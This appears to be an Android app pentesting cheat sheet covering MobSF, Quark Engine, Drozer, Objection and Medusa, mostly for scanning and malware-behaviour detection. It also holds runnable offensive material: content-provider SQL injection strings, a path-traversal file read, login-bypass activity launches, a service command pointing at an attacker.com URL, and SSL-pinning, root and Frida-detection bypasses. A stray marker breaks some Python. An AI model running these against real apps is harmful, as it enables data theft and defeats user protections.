Legend:
[STATIC]= Static analysis |[DYNAMIC]= Dynamic analysis |[MOBSF]= MobSF tool |[QUARK]= Quark Engine |[DROZER]= Drozer framework |[OBJ]= Objection |[MEDUSA]= Medusa framework |[AUTO]= Automated scan |[API]= API usage |[BYPASS]= Security bypass
1. Tools & Methodology Overview
What it means: Android pentesting automation replaces manual, repetitive analysis with tools that scan, instrument, and report findings at scale. Automation covers both static analysis (no running app needed) and dynamic analysis (runtime instrumentation), and the best assessments combine both phases.
1.1 Methodology Map
┌─────────────────────────────────────────────────────────────────────┐
│ ANDROID PENTEST AUTOMATION FLOW │
│ │
│ INPUT: APK file │
│ │ │
│ ├──► STATIC ANALYSIS (no device needed) │
│ │ ├── MobSF → full automated report │
│ │ └── Quark → malicious behavior scoring │
│ │ │
│ └──► DYNAMIC ANALYSIS (device/emulator needed) │
│ ├── Drozer → component exploitation │
│ ├── Objection → runtime hooks (Frida-based) │
│ └── Medusa → modular instrumentation framework │
│ │
│ OUTPUT: Vulnerabilities + IOCs + Report │
└─────────────────────────────────────────────────────────────────────┘
1.2 Tool Selection Guide
Goal Best Tool(s)
──────────────────────────────────────────────────────────────────────
Full automated static report MobSF
Malware behavior scoring Quark Engine
Exported component exploitation Drozer
Runtime SSL bypass + root bypass Objection
Custom Frida hook management Medusa
Automated dynamic analysis MobSF Dynamic + Objection
Batch scanning multiple APKs MobSF REST API + Quark CLI
Detect malicious behaviors Quark + Medusa
CI/CD integration MobSF API + Quark Python API
1.3 Pentest Phases vs Tools
Phase Manual Tool Automated Tool
──────────────────────────────────────────────────────────────────────
Recon / Triage apkid, strings MobSF Upload + Scan
Static Analysis jadx-gui, apktool MobSF + Quark Engine
Component Attack adb am/pm Drozer
Runtime Hooks Frida scripts Objection + Medusa
Security Bypass Custom Frida JS Objection one-liners
Behavior Analysis Logcat + Burp MobSF Dynamic + Medusa
Malware Detection Manual code review Quark Engine
Reporting Manual write-up MobSF PDF/JSON report
2. MobSF — Mobile Security Framework
What it means: MobSF (Mobile Security Framework) is an all-in-one automated security testing framework for Android, iOS, and Windows mobile apps. It performs comprehensive static AND dynamic analysis — decompiling the APK, scanning for vulnerabilities, checking permissions, finding secrets, and generating a full report — all in a single upload.
2.1 Installation & Setup
# ─── Method 1: Docker (recommended) ───
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# ─── Method 2: Docker with persistent storage ───
docker run -it --rm \
-p 8000:8000 \
-v /path/to/mobsf_data:/home/mobsf/.MobSF \
opensecurity/mobile-security-framework-mobsf:latest
# ─── Method 3: Native install ───
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
pip3 install -r requirements.txt
python3 manage.py migrate
python3 manage.py runserver 0.0.0.0:8000
# ─── Access UI ───
# Browser: http://localhost:8000
# Default API key shown at startup — note it!
# ─── Dynamic Analysis: connect device/emulator ───
# Emulator: start AVD before launching MobSF
emulator -avd MobSFAnalysis -writable-system &
# MobSF auto-detects connected device via ADB
adb devices # verify device is listed
2.2 Static Analysis via Web UI
Upload Workflow:
1. http://localhost:8000 → Drag & drop APK
2. MobSF auto-starts analysis (30-120 seconds)
3. Report sections:
├── App Information (package, version, min SDK, target SDK)
├── Security Score (0-100, color coded)
├── Permissions Analysis (dangerous, signature, normal)
├── Certificate Analysis (issuer, validity, key size)
├── Manifest Analysis (exported components, config issues)
├── Code Analysis (hardcoded secrets, crypto issues, SQL)
├── API Usage (suspicious API calls flagged by severity)
├── URLs/Endpoints (all found in code)
├── Strings (interesting strings extracted)
├── NIAP Analysis (National Info Assurance Partnership)
└── Shared Library Analysis (.so files)
Key Findings Sections:
├── HIGH severity → critical issues (must fix)
├── WARNING → medium issues
├── INFO → informational
└── SECURE → correctly implemented
2.3 Static Analysis via REST API
# ─── Set API key ───
API_KEY="your_api_key_from_startup"
BASE="http://localhost:8000/api/v1"
# ─── Upload APK ───
UPLOAD=$(curl -s -F "file=@target.apk" \
-H "Authorization: ${API_KEY}" \
"${BASE}/upload")
echo $UPLOAD | python3 -m json.tool
# Returns: {"analyzer": "...", "status": "success", "hash": "SHA256_HASH", ...}
HASH=$(echo $UPLOAD | python3 -c "import sys,json; print(json.load(sys.stdin)['hash'])")
echo "APK Hash: $HASH"
# ─── Trigger analysis ───
curl -s -X POST \
--url "${BASE}/scan" \
--data "scan_type=apk&file_name=target.apk&hash=${HASH}" \
-H "Authorization: ${API_KEY}" | python3 -m json.tool
# ─── Get report JSON ───
curl -s "${BASE}/report_json/?hash=${HASH}" \
-H "Authorization: ${API_KEY}" \
> report.json
# ─── Download PDF report ───
curl -s "${BASE}/download_pdf/?hash=${HASH}" \
-H "Authorization: ${API_KEY}" \
-o report.pdf
echo "PDF saved: report.pdf"
# ─── Get specific sections ───
# Permissions
curl -s "${BASE}/scorecard/?hash=${HASH}" -H "Authorization: ${API_KEY}"
# ─── List all scans ───
curl -s "${BASE}/scans/?page=1&page_size=10" \
-H "Authorization: ${API_KEY}" | python3 -m json.tool
# ─── Delete scan ───
curl -s -X POST "${BASE}/delete_scan/" \
--data "hash=${HASH}" \
-H "Authorization: ${API_KEY}"
2.4 Automated Batch Scanning Script
#!/usr/bin/env python3
# batch_scan.py — scan multiple APKs with MobSF API
import requests
import json
import os
import sys
MOBSF_URL = "http://localhost:8000"
API_KEY = "your_api_key"
HEADERS = {"Authorization": API_KEY}
def upload_apk(apk_path):
with open(apk_path, "rb") as f:
r = requests.post(f"{MOBSF_URL}/api/v1/upload",
files={"file": (os.path.basename(apk_path), f, "application/octet-stream")},
headers=HEADERS)
return r.json()
def scan_apk(file_name, apk_hash):
r = requests.post(f"{MOBSF_URL}/api/v1/scan",
data={"scan_type": "apk", "file_name": file_name, "hash": apk_hash},
headers=HEADERS)
return r.json()
def get_report(apk_hash):
r = requests.get(f"{MOBSF_URL}/api/v1/report_json/?hash={apk_hash}",
headers=HEADERS)
return r.json()
def download_pdf(apk_hash, output_path):
r = requests.get(f"{MOBSF_URL}/api/v1/download_pdf/?hash={apk_hash}",
headers=HEADERS)
with open(output_path, "wb") as f:
f.write(r.content)
def extract_high_findings(report):
findings = []
for item in report.get("code_analysis", {}).get("findings", {}).values():
if item.get("level") in ["high", "warning"]:
findings.append({
"title": item.get("metadata", {}).get("cwe", "Unknown"),
"desc": item.get("metadata", {}).get("description", ""),
"files": list(item.get("files", {}).keys())[:3]
})
return findings
# ─── Main: scan all APKs in a folder ───
apk_folder = sys.argv if len(sys.argv) > 1 else "."[1]
apks = [f for f in os.listdir(apk_folder) if f.endswith(".apk")]
for apk in apks:
path = os.path.join(apk_folder, apk)
print(f"\n[*] Scanning: {apk}")
upload_result = upload_apk(path)
apk_hash = upload_result.get("hash")
if not apk_hash:
print(f"[!] Upload failed: {upload_result}")
continue
scan_apk(apk, apk_hash)
report = get_report(apk_hash)
score = report.get("appsec", {}).get("security_score", "N/A")
print(f" Score: {score}/100")
findings = extract_high_findings(report)
for f in findings[:5]:
print(f" [HIGH] {f['title']}: {f['desc'][:80]}")
pdf_path = apk.replace(".apk", "_report.pdf")
download_pdf(apk_hash, pdf_path)
print(f" Report: {pdf_path}")
2.5 MobSF Dynamic Analysis
# ─── Requirements ───
# Rooted AVD or Genymotion emulator
# MobSF Dynamic Analyzer + frida-server on device
# ─── Start dynamic analysis via UI ───
# 1. Upload APK → static scan completes
# 2. Click "Start Dynamic Analysis"
# 3. MobSF auto-installs app on connected emulator
# 4. Interact with app → MobSF instruments:
# ├── Network traffic (HTTP/HTTPS)
# ├── Frida hooks (API calls logged)
# ├── TLS/SSL traffic decrypted
# ├── Screenshot capture
# └── Clipboard / input monitoring
# ─── Dynamic Analysis via API ───
# Get dynamic analysis report
curl -s "${BASE}/dynamic/get_report/?hash=${HASH}" \
-H "Authorization: ${API_KEY}" | python3 -m json.tool
# ─── What MobSF Dynamic captures ───
# API Monitor: all sensitive Java API calls
# Network: all HTTP/S requests with headers + body
# Frida logs: crypto keys, file access, SharedPrefs
# Activities: launched activities
# Exported Activity testing: auto-tests all exported activities
2.6 Key MobSF Report Findings to Focus On
Section What to Look For Severity
──────────────────────────────────────────────────────────────────────
Permissions SYSTEM_ALERT_WINDOW, ACCESSIBILITY HIGH
READ_SMS, RECEIVE_SMS HIGH
INSTALL_PACKAGES HIGH
Certificate Signed with debug cert HIGH
MD5 signature algorithm MEDIUM
Self-signed MEDIUM
Manifest android:debuggable="true" HIGH
android:allowBackup="true" MEDIUM
Exported activities/receivers HIGH
Cleartext traffic allowed MEDIUM
Code Analysis Hardcoded secrets (API keys) HIGH
Weak crypto (AES/ECB, MD5) HIGH
SQL injection vectors HIGH
Dynamic code loading HIGH
WebView JS enabled + file access HIGH
3. Quark Engine
What it means: Quark Engine is an Android malware analysis tool that uses a crime-score system to detect malicious behaviors. Instead of signature-based detection, it analyzes sequences of API calls to identify suspicious behavior patterns — making it effective even against obfuscated malware that changes its code but keeps the same behavioral patterns.
3.1 Installation & Setup
# ─── Install ───
pip3 install quark-engine
# ─── Update rules (malware behavior definitions) ───
freshquark # downloads latest crime rules to ~/.quark/
# ─── Verify ───
quark --version
ls ~/.quark/rules/ # should contain hundreds of .json rule files
3.2 Core Concepts
Quark Analysis Model:
┌────────────────────────────────────────────────────────────────┐
│ Crime Score = sum of matched behavior scores / max score │
│ │
│ 0% - 39% → Low Risk (benign app) │
│ 40% - 59% → Moderate Risk (suspicious) │
│ 60% - 100% → High Risk (likely malware) │
│ │
│ Rule Structure (.json): │
│ { │
│ "crime": "Exfiltrate location data", │
│ "permission": ["ACCESS_FINE_LOCATION"], │
│ "api": [ │
│ "Landroid/location/LocationManager;->getLastKnownLoc", │
│ "Ljava/net/URL;->openConnection" │
│ ], │
│ "score": 4 │
│ } │
│ → If BOTH APIs called in same method → behavior detected! │
└────────────────────────────────────────────────────────────────┘
3.3 Basic Usage
# ─── Quick scan with all rules ───
quark -a sample.apk -s
# Output: crime score + matched behaviors
# ─── Detailed analysis ───
quark -a sample.apk -d
# ─── Check specific rule ───
quark -a sample.apk -r ~/.quark/rules/sendLocation.json
# ─── Output formats ───
quark -a sample.apk -s --json # JSON output
quark -a sample.apk -s --csv # CSV output
quark -a sample.apk -s > report.txt # save to file
# ─── Table output (default) ───
quark -a sample.apk -s
# Sample output:
# ┌─────────────────────────────────────┬────────┬────────┐
# │ Behavior │ Score │ Weight │
# ├─────────────────────────────────────┼────────┼────────┤
# │ Exfiltrate SMS │ 4/4 │ 100% │
# │ Send device ID via HTTP │ 4/4 │ 100% │
# │ Read contacts + network connection │ 3/4 │ 75% │
# └─────────────────────────────────────┴────────┴────────┘
# Total Score: 85/100 → HIGH RISK
3.4 Python API Usage
from quark.report import Report
from quark.quark import Quark
# ─── Basic score ───
apk_path = "sample.apk"
rules_path = "~/.quark/rules/"
quark = Quark(apk_path)
report = Report()
quark.run(report)
print(report.get_summary_report(rules_path))
# ─── Programmatic analysis ───
from quark.analysis.analysis import QuarkAnalysis
from quark.core.apkinfo import AndroguardImp
apkinfo = AndroguardImp("sample.apk")
analysis = QuarkAnalysis()
# Check specific behavior
from quark.rules import RuleObject
rule = RuleObject(
"steal_sms",
score=4,
x1_permission="android.permission.READ_SMS",
x2a_api=("Landroid/telephony/SmsManager;", "getDefault", "()Landroid/telephony/SmsManager;"),
x2b_api=("Ljava/net/URL;", "openConnection", "()Ljava/net/URLConnection;")
)
from quark.core.quark import Quark as QuarkCore
q = QuarkCore(apkinfo)
q.run(rule)
if rule.check_item: # all 5 checks passed[2]
print("[!] SMS exfiltration behavior detected!")
print(" Confidence: 100%")
for method in rule.criminal_apis:
print(f" API: {method}")
3.5 Custom Rule Writing
// ~/.quark/rules/custom_overlay_attack.json
{
"crime": "Overlay attack on banking apps",
"permission": [
"android.permission.SYSTEM_ALERT_WINDOW"
],
"api": [
{
"class": "Landroid/view/WindowManager;",
"method": "addView",
"descriptor": "(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V"
},
{
"class": "Landroid/content/pm/PackageManager;",
"method": "getInstalledPackages",
"descriptor": "(I)Ljava/util/List;"
}
],
"score": 5
}
// Custom rule: SMS interception + abort
{
"crime": "SMS OTP interception with abort",
"permission": [
"android.permission.RECEIVE_SMS"
],
"api": [
{
"class": "Landroid/telephony/SmsMessage;",
"method": "getDisplayMessageBody",
"descriptor": "()Ljava/lang/String;"
},
{
"class": "Landroid/content/BroadcastReceiver;",
"method": "abortBroadcast",
"descriptor": "()V"
}
],
"score": 5
}
# Run custom rule
quark -a sample.apk -r custom_overlay_attack.json
3.6 Quark + MobSF Integration
# Combined automated analysis pipeline
import subprocess
import requests
import json
def full_analysis(apk_path):
apk_name = apk_path.split("/")[-1]
# Step 1: Quark behavioral analysis
print("[*] Running Quark behavioral analysis...")
result = subprocess.run(
["quark", "-a", apk_path, "-s", "--json"],
capture_output=True, text=True
)
quark_data = json.loads(result.stdout)
crime_score = quark_data.get("crime_score", 0)
print(f" Crime Score: {crime_score}%")
# Step 2: MobSF static analysis
print("[*] Running MobSF static analysis...")
MOBSF = "http://localhost:8000"
KEY = {"Authorization": "your_api_key"}
with open(apk_path, "rb") as f:
upload = requests.post(f"{MOBSF}/api/v1/upload",
files={"file": (apk_name, f)}, headers=KEY).json()
apk_hash = upload["hash"]
requests.post(f"{MOBSF}/api/v1/scan",
data={"scan_type": "apk", "file_name": apk_name, "hash": apk_hash},
headers=KEY)
report = requests.get(f"{MOBSF}/api/v1/report_json/?hash={apk_hash}",
headers=KEY).json()
mobsf_score = report.get("appsec", {}).get("security_score", 0)
print(f" Security Score: {mobsf_score}/100")
# Combined verdict
if crime_score > 60 or mobsf_score < 40:
print(f"\n[!!!] HIGH RISK — Quark:{crime_score}% MobSF:{mobsf_score}/100")
else:
print(f"\n[OK] Low risk — Quark:{crime_score}% MobSF:{mobsf_score}/100")
full_analysis("sample.apk")
4. Drozer
What it means: Drozer is the de-facto Android component exploitation framework.
It simulates a malicious app on the device — able to send arbitrary intents, interact
with content providers, start services, and trigger exported broadcast receivers. It
automates all the attacks you'd otherwise do manually with adb am/pm commands.
4.1 Installation & Setup
# ─── Install Drozer (attacker machine) ───
pip3 install drozer
# ─── Install Drozer agent APK on device ───
# Download: https://github.com/WithSecureLabs/drozer/releases
adb install drozer-agent.apk
# ─── Start Drozer agent on device ───
# Open Drozer app → toggle "On"
# OR via ADB:
adb shell am start -n com.mwr.dz/.activities.Main
# Enable embedded server in the app
# ─── Forward port ───
adb forward tcp:31415 tcp:31415
# ─── Connect ───
drozer console connect
# dz> prompt appears!
# ─── List modules ───
dz> list
4.2 Reconnaissance with Drozer
# ─── Package enumeration ───
dz> run app.package.list # all installed packages
dz> run app.package.list -f target # filter by name
dz> run app.package.info -a com.target.app # detailed package info
dz> run app.package.attacksurface com.target.app # full attack surface!
# ─── Attack surface output example ───
# Attack Surface:
# 3 activities exported
# 1 broadcast receivers exported
# 1 content providers exported
# 0 services exported
# → Shows EXACTLY what is attackable!
4.3 Activity Exploitation
# ─── List exported activities ───
dz> run app.activity.info -a com.target.app
# OUTPUT:
# com.target.app.LoginActivity
# com.target.app.AdminActivity ← exported!
# com.target.app.ResetPasswordActivity ← exported!
# ─── Launch exported activity (bypass login) ───
dz> run app.activity.start \
--component com.target.app com.target.app.AdminActivity
# ─── Launch with intent extras ───
dz> run app.activity.start \
--component com.target.app com.target.app.ProfileActivity \
--extra string userId 1 \
--extra string role admin
# ─── Brute force all activities ───
dz> run app.activity.forintent \
--action android.intent.action.VIEW \
--category android.intent.category.BROWSABLE
4.4 Content Provider Exploitation
# ─── List exported content providers ───
dz> run app.provider.info -a com.target.app
# OUTPUT:
# Authority: com.target.app.provider
# URIs:
# content://com.target.app.provider/users
# content://com.target.app.provider/messages
# ─── Query content provider (read data) ───
dz> run app.provider.query content://com.target.app.provider/users
# → Dumps user table if no access control!
dz> run app.provider.query content://com.target.app.provider/users \
--selection "1=1" # bypass WHERE clause
# ─── SQL injection test ───
dz> run app.provider.query \
content://com.target.app.provider/users \
--selection "1=1--"
dz> run app.provider.query \
content://com.target.app.provider/users \
--projection "* FROM sqlite_master--"
# → Dump schema if injectable!
# ─── Automated SQLi scanner ───
dz> run scanner.provider.injection -a com.target.app
# → Tests all content providers for SQL injection!
# ─── Path traversal test ───
dz> run scanner.provider.traversal -a com.target.app
# → Tests file providers for path traversal!
# ─── Read file via vulnerable file provider ───
dz> run app.provider.read content://com.target.app.provider/../../../data/data/com.target.app/shared_prefs/auth.xml
4.5 Broadcast Receiver Exploitation
# ─── List exported receivers ───
dz> run app.broadcast.info -a com.target.app
# ─── Send broadcast to exported receiver ───
dz> run app.broadcast.send \
--component com.target.app com.target.app.AdminReceiver \
--action com.target.app.ADMIN_ACTION \
--extra string command "reset"
# ─── Trigger password reset receiver ───
dz> run app.broadcast.send \
--action com.target.app.RESET_PASSWORD \
--extra string email victim@email.com
4.6 Service Exploitation
# ─── List exported services ───
dz> run app.service.info -a com.target.app
# ─── Start exported service ───
dz> run app.service.start \
--component com.target.app com.target.app.DataSyncService \
--extra string url "http://attacker.com/malicious_data"
# ─── Send message to service ───
dz> run app.service.send \
com.target.app.DataSyncService \
--msg 1 2 3 \
--extra string payload "malicious"
4.7 Automated Scanning with Drozer
# ─── Full automated attack surface scan ───
dz> run scanner.misc.checkjavascriptbridge -a com.target.app
dz> run scanner.misc.writablefiles -p /data/data/com.target.app
dz> run scanner.misc.readablefiles -p /data/data/com.target.app
dz> run scanner.provider.finduris -a com.target.app # find all URIs
dz> run scanner.provider.injection -a com.target.app # SQL injection
dz> run scanner.provider.traversal -a com.target.app # path traversal
# ─── One-shot full scan ───
for module in scanner.provider.injection scanner.provider.traversal \
scanner.misc.checkjavascriptbridge scanner.misc.writablefiles; do
echo "=== $module ==="
drozer console connect --command "run $module -a com.target.app"
done
5. Objection
What it means: Objection is a runtime mobile exploration toolkit built on top of Frida. It provides a powerful interactive shell with pre-built commands for all common pentesting tasks — SSL pinning bypass, root detection bypass, class/method enumeration, hooking, memory dumping — without writing a single line of Frida JavaScript.
5.1 Installation & Setup
# ─── Install ───
pip3 install objection
# ─── Ensure frida-server is running on device ───
adb push frida-server /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell "/data/local/tmp/frida-server &"
# ─── Attach to running app ───
objection -g com.target.app explore
# ─── Spawn app (preferred) ───
objection -g com.target.app explore --startup-command "android root disable"
# ─── Patch APK with objection gadget (no root needed!) ───
objection patchapk -s target.apk
# → creates target.objection.apk with Frida Gadget embedded
adb install target.objection.apk
# Run patched APK → objection connects automatically
objection explore
5.2 Essential Objection Commands
# ─── After: objection -g com.target.app explore ───
# ════════════════════════════════
# SECURITY BYPASSES
# ════════════════════════════════
# SSL Pinning bypass (most used!)
android sslpinning disable
android sslpinning disable --quiet false # verbose
# Root detection bypass
android root disable
android root simulate # simulate non-rooted env
# Debugger detection bypass
android debugger disable
# ════════════════════════════════
# CLASS & METHOD ENUMERATION
# ════════════════════════════════
# List all loaded classes
android hooking list classes
# Search classes by name
android hooking search classes AuthManager
android hooking search classes com.target.app
# List methods of a class
android hooking list class_methods com.target.app.AuthManager
# Search methods
android hooking search methods checkLogin
android hooking search methods encrypt
# ════════════════════════════════
# RUNTIME HOOKING
# ════════════════════════════════
# Watch method (log calls + args + return)
android hooking watch class_method com.target.app.AuthManager.checkLogin \
--dump-args --dump-return --dump-backtrace
# Watch entire class (all methods)
android hooking watch class com.target.app.AuthManager \
--dump-args --dump-return
# Set method return value
android hooking set return_value com.target.app.Security.isRooted false
android hooking set return_value com.target.app.UserManager.isPremium true
# ════════════════════════════════
# MEMORY & DATA
# ════════════════════════════════
# Dump memory
memory dump all /tmp/memory_dump.bin
memory dump from_base 0x12345678 1024 /tmp/chunk.bin
# Search memory
memory search --string "password"
memory search --pattern "4142 4344" # hex pattern
# List heap objects
android heap print_instances com.target.app.User
# ════════════════════════════════
# STORAGE
# ════════════════════════════════
# Print all SharedPreferences
android preferences get --all
# List databases
android sqlite list
# Query database
android sqlite execute --query "SELECT * FROM users" --database app.db
# ════════════════════════════════
# FILE SYSTEM
# ════════════════════════════════
android filesystem ls /data/data/com.target.app/
android filesystem get /data/data/com.target.app/shared_prefs/auth.xml
android filesystem upload /local/evil.so /data/local/tmp/evil.so
# ════════════════════════════════
# INTENTS & ACTIVITIES
# ════════════════════════════════
android intent launch_activity com.target.app.AdminActivity
android intent launch_service com.target.app.SyncService
# List running activities
android ui activities
5.3 Objection Automation via --startup-command
# Run objection with auto-commands at startup
objection -g com.target.app explore \
--startup-command "android root disable; android sslpinning disable"
# Multiple startup commands
objection -g com.target.app explore \
--startup-script bypass_all.js # run Frida script at startup
# Non-interactive (CI/CD use)
echo "android sslpinning disable" | \
objection -g com.target.app explore --quiet
6. Medusa — Bypassing Security Mechanisms
What it means: Medusa is an extensible Frida-based framework that uses modular scripts (called "modules") for Android and iOS runtime instrumentation. Unlike Objection (which has fixed commands), Medusa allows you to combine reusable modules to bypass specific security mechanisms, monitor behaviors, and automate complex analysis tasks.
6.1 Installation & Setup
# ─── Install Medusa ───
git clone https://github.com/Ch0pin/medusa.git
cd medusa
pip3 install -r requirements.txt
# ─── Start Medusa ───
python3 medusa.py
# ─── Or with target app ───
python3 medusa.py -f com.target.app
# ─── Medusa shell commands ───
# help → list all commands
# use <module> → load a module
# compile → compile loaded modules into Frida script
# run → inject compiled script into app
# sessions → manage sessions
# search → search available modules
6.2 Module System
# ─── List all modules ───
medusa> search
# Shows categories:
# ├── android/
# │ ├── bypass/
# │ │ ├── root_detection.js
# │ │ ├── ssl_pinning.js
# │ │ ├── frida_detection.js
# │ │ ├── emulator_detection.js
# │ │ └── anti_debug.js
# │ ├── monitoring/
# │ │ ├── network_monitoring.js
# │ │ ├── crypto_monitoring.js
# │ │ ├── filesystem_monitoring.js
# │ │ └── intent_monitoring.js
# │ ├── malicious/
# │ │ ├── sms_interception.js
# │ │ ├── overlay_detection.js
# │ │ └── accessibility_abuse.js
# │ └── utils/
# └── string_decryptor.js
# ─── Search modules ───
medusa> search ssl
medusa> search root
medusa> search bypass
6.3 Bypassing Security Mechanisms
# ─── Bypass SSL Pinning ───
medusa> use android/bypass/ssl_pinning
medusa> compile
medusa> run
# → All SSL pins bypassed — route through Burp!
# ─── Bypass Root Detection ───
medusa> use android/bypass/root_detection
medusa> compile
medusa> run
# ─── Bypass Frida Detection ───
medusa> use android/bypass/frida_detection
medusa> compile
medusa> run
# ─── Bypass Emulator Detection ───
medusa> use android/bypass/emulator_detection
medusa> compile
medusa> run
# ─── Combine multiple bypasses ───
medusa> use android/bypass/ssl_pinning
medusa> use android/bypass/root_detection
medusa> use android/bypass/frida_detection
medusa> use android/bypass/anti_debug
medusa> compile # compiles ALL loaded modules together
medusa> run # injects combined script!
# → One command — all detections bypassed!
6.4 Custom Bypass Module
// medusa/modules/custom/bypass_custom_check.js
// Medusa module format
var bypass_custom = {
"name": "Custom Security Bypass",
"description": "Bypass custom security checks in target app",
"code": `
Java.perform(function() {
// Bypass isRooted
try {
var Security = Java.use("com.target.app.SecurityManager");
Security.isRooted.implementation = function() {
send("[BYPASS] isRooted → false");
return false;
};
Security.isEmulator.implementation = function() {
return false;
};
Security.isDebuggable.implementation = function() {
return false;
};
send("[+] Custom security bypass active");
} catch(e) {
send("[-] Class not found: " + e);
}
});
`
};
module.exports = bypass_custom;
# Load custom module
medusa> use custom/bypass_custom_check
medusa> compile
medusa> run
7. Medusa — Detecting Malicious Activities
What it means: Medusa's monitoring modules instrument runtime API calls to detect exactly what an app does with sensitive APIs — whether it's intercepting SMS, abusing Accessibility, making suspicious network calls, reading device identifiers, or performing overlay attacks. This is crucial for malware analysis.
7.1 Monitoring Modules for Malicious Behavior
# ─── Monitor network calls (C2 detection) ───
medusa> use android/monitoring/network_monitoring
medusa> compile && run
# → Logs ALL HTTP/S connections with URLs, headers, request bodies
# ─── Monitor crypto operations (key theft) ───
medusa> use android/monitoring/crypto_monitoring
medusa> compile && run
# → Logs: cipher type, key bytes, IV, plaintext + ciphertext
# ─── Monitor file system operations ───
medusa> use android/monitoring/filesystem_monitoring
medusa> compile && run
# → Logs: file reads, writes, creates, deletes with paths
# ─── Monitor intent operations ───
medusa> use android/monitoring/intent_monitoring
medusa> compile && run
# → Logs: all intents sent/received, extras, components
# ─── Monitor SMS operations ───
medusa> use android/malicious/sms_interception_detection
medusa> compile && run
# → Detects: SMS reads, SMS abort, SMS sends
# ─── Monitor clipboard ───
medusa> use android/monitoring/clipboard_monitoring
medusa> compile && run
# → Logs all clipboard read/write operations
# ─── Monitor SharedPreferences ───
medusa> use android/monitoring/sharedprefs_monitoring
medusa> compile && run
# → Logs all key-value reads and writes
# ─── COMBINE ALL for full malware monitoring ───
medusa> use android/monitoring/network_monitoring
medusa> use android/monitoring/crypto_monitoring
medusa> use android/monitoring/filesystem_monitoring
medusa> use android/malicious/sms_interception_detection
medusa> use android/monitoring/sharedprefs_monitoring
medusa> use android/monitoring/intent_monitoring
medusa> compile
medusa> run
# → COMPREHENSIVE real-time malware behavior logging!
7.2 Overlay Attack Detection Module
# ─── Detect overlay windows ───
medusa> use android/malicious/overlay_detection
medusa> compile && run
# What it hooks:
# WindowManager.addView() → logs when overlay is added
# WindowManager.removeView() → overlay removed
# TYPE_APPLICATION_OVERLAY → confirms malicious overlay type
# getRunningTasks/queryUsageStats → foreground app detection
# Example output:
# [OVERLAY] addView called!
# Type: TYPE_APPLICATION_OVERLAY (2038)
# Target: com.banking.app (detected in foreground)
# View class: com.malware.sample.FakeLoginView
# → OVERLAY ATTACK CONFIRMED!
7.3 Accessibility Abuse Detection
# ─── Detect Accessibility abuse ───
medusa> use android/malicious/accessibility_abuse_detection
medusa> compile && run
# Hooks:
# AccessibilityService.onAccessibilityEvent() → all events logged
# getRootInActiveWindow() → screen reading detected
# performAction(ACTION_CLICK) → auto-click detected
# getText() on nodes → text extraction logged
# Output:
# [A11Y] onAccessibilityEvent: TYPE_VIEW_TEXT_CHANGED
# Package: com.chase.sig.android
# Text changed: [captured keylog]
# [A11Y] getRootInActiveWindow() called → SCREEN READING!
# [A11Y] performAction(ACTION_CLICK) → AUTO-CLICK on: Allow button
7.4 Device Info Exfiltration Detection
# ─── Detect device fingerprinting ───
medusa> use android/monitoring/device_info_monitoring
medusa> compile && run
# Hooks all device info access:
# TelephonyManager.getDeviceId() → IMEI
# TelephonyManager.getLine1Number() → Phone number
# TelephonyManager.getSimSerialNumber()→ SIM serial
# Settings.Secure.ANDROID_ID → Android ID
# Build.SERIAL → device serial
# WifiManager.getConnectionInfo() → WiFi/MAC address
# LocationManager.getLastKnownLocation() → GPS coordinates
# If malware accesses 3+ device identifiers → device fingerprinting!
7.5 Full Malware Analysis Session
# Complete automated malware analysis with Medusa
python3 medusa.py -f com.malware.sample
# Load comprehensive monitoring suite
medusa> use android/bypass/root_detection # ensure app runs
medusa> use android/bypass/frida_detection # prevent evasion
medusa> use android/monitoring/network_monitoring # C2 comms
medusa> use android/monitoring/crypto_monitoring # encryption keys
medusa> use android/monitoring/filesystem_monitoring# file drops
medusa> use android/malicious/sms_interception_detection
medusa> use android/malicious/overlay_detection
medusa> use android/malicious/accessibility_abuse_detection
medusa> use android/monitoring/device_info_monitoring
medusa> use android/monitoring/sharedprefs_monitoring
medusa> use android/monitoring/intent_monitoring
# Compile all modules
medusa> compile
# Save compiled script
medusa> save /tmp/full_analysis.js
# Run on target
medusa> run
# Output redirected to file for analysis
# Everything the malware does is now logged in real-time!
8. Automation Workflow & Cheat Sheet
8.1 Complete Automated Pentest Flow
# ════════════════════════════════════════
# STAGE 1: AUTOMATED STATIC (5 minutes)
# ════════════════════════════════════════
# Hash + VT check
sha256sum target.apk
# Manually: paste hash to virustotal.com
# apkid identification
apkid target.apk
# Quark behavioral scan
freshquark && quark -a target.apk -s
# If crime score > 60% → likely malware!
# MobSF full scan
curl -F "file=@target.apk" http://localhost:8000/api/v1/upload \
-H "Authorization: YOUR_KEY" -o upload.json
HASH=$(cat upload.json | python3 -c "import sys,json; print(json.load(sys.stdin)['hash'])")
curl -X POST http://localhost:8000/api/v1/scan \
--data "scan_type=apk&file_name=target.apk&hash=$HASH" \
-H "Authorization: YOUR_KEY"
curl "http://localhost:8000/api/v1/download_pdf/?hash=$HASH" \
-H "Authorization: YOUR_KEY" -o mobsf_report.pdf
echo "Static Analysis Complete!"
echo "PDF: mobsf_report.pdf"
# ════════════════════════════════════════
# STAGE 2: COMPONENT EXPLOITATION (Drozer)
# ════════════════════════════════════════
adb forward tcp:31415 tcp:31415
# Full attack surface + automated scans
drozer console connect --command "
run app.package.attacksurface com.target.app;
run scanner.provider.injection -a com.target.app;
run scanner.provider.traversal -a com.target.app;
run app.activity.info -a com.target.app;
run app.provider.info -a com.target.app
"
# ════════════════════════════════════════
# STAGE 3: RUNTIME ANALYSIS (Objection)
# ════════════════════════════════════════
adb shell "/data/local/tmp/frida-server &"
objection -g com.target.app explore --startup-command "
android sslpinning disable;
android root disable;
android hooking watch class com.target.app.AuthManager --dump-args --dump-return;
android hooking watch class com.target.app.NetworkManager --dump-args --dump-return
"
# ════════════════════════════════════════
# STAGE 4: DEEP MONITORING (Medusa)
# ════════════════════════════════════════
python3 medusa.py -f com.target.app
# Load modules as needed → compile → run
8.2 Tool Quick Reference
Tool Install Key Command
──────────────────────────────────────────────────────────────────────
MobSF docker run opensecurity/mobsf Upload APK → get PDF
pip3 install mobsf
Quark pip3 install quark-engine quark -a app.apk -s
freshquark # update rules
Drozer pip3 install drozer drozer console connect
adb install drozer-agent.apk dz> run app.package.attacksurface
Objection pip3 install objection objection -g pkg explore
android sslpinning disable
